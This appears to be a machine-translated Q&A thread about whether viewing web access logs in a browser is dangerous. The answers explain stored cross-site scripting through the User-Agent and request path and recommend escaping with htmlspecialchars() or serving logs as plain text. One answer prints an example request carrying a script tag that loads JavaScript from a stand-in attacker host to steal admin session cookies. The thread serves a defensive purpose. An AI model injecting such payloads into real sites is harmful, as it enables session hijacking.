在不通过网络浏览器进行清理的情况下查看访问日志是否危险?
我正在考虑记录访问日志,我正在考虑通过wev浏览器查看它,但是如果攻击者修改了他的远程主机或用户代理之类的东西,他可以攻击我吗?
通过将攻击代码插入他的远程主机或用户代理等。
那么在通过网络浏览器打开访问日志文件之前,我是否需要通过 htmlspecialchar 进行清理?
我的意思是攻击者将一些攻击代码插入到他的远程主机或用户代理或某些软件中,然后我通过 Web 浏览器看到该访问日志,然后我的 PC 将受到该代码的影响。
是的,这很危险。
例如,恶意用户可以请求如下内容:
GET /<script src="http://www.evilsite.com/malicious.js"></script> HTTP/1.1
Host: www.example.com
Connection: close
User-Agent: <script src="http://www.evilsite.com/malicious.js"></script>
并使用恶意 JavaScript 破坏您的视图页面。
由于您可能正在查看您网站上的日志,因此您将作为具有管理权限的帐户登录。使用恶意 JavaScript,攻击者可以窃取您的会话 cookie 并接管您的会话,完成您在登录时可以执行的所有操作。
因此,总而言之,您绝对应该避开访问日志页面,除非您喜欢让您的管理帐户受到损害。
理论上这是可能的,是的,你应该称赞自己有正确的心态来思考它。在将任何不受控制的输入显示在网络浏览器中之前对其进行清理总是一个好主意。
我会通过运行日志输出htmlspecialchars()
。
您可能需要一些 html 格式的输出,因此必须对日志数据进行清理/编码。但是为了争论:如果您将输出作为文本/纯文本发送,则客户端不应该解析任何 html/javascript。
例如输出
<?php
header('Content-type: text/plain; charset=utf-8');
echo '<script>alert(document.URL);</script>';
显示为<script>alert(document.URL);</script>(至少在 FF3、IE8、opera、safari 中)。